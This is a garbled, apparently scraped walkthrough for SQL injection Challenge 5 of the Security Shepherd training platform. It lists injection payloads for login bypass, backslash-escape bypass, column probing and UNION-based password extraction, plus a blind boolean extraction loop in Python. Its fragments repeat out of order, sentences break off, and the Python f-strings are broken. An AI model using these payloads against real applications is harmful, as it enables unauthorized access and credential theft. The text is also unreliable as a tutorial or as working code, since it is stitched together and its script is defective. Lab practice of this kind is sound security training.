Sql Injection Challenge 5 Security Shepherd

for length in range(1, 100): payload = f"(SELECT LENGTH(column_name) FROM table_name WHERE row_condition) = length" if test_payload(payload): print(f"[+] Key length: length") key_length = length break

The difficulty lies in determining the correct number of columns to union with and finding the exact table/column names to steal the data.

When you input ' UNION SELECT 1, password, 3 FROM challenge5-- , the database executes:

' ORDER BY 2-- (If no error, there are at least 2 columns) Sql Injection Challenge 5 Security Shepherd

Using an input that breaks the query and allows for UNION SELECT or simply manipulates the WHERE clause to TRUE .

Username: admin Password: ' OR 1=1 --

If the application turns ' into \' , you can feed it a backslash first. \' OR 1=1; -- How it works: Input: \' OR 1=1; -- for length in range(1, 100): payload = f"(SELECT

The screen should list the columns in that table. Common names are username , password , pin , or answer .

Now, go launch Security Shepherd, navigate to Challenge 5, and watch that script extract the key. Then, ask yourself: Is my own application leaking Boolean oracles like this? \' OR 1=1; -- How it works: Input:

Example payload in the field:

Use a script (Python, Burp Intruder, or sqlmap with --technique=B ).
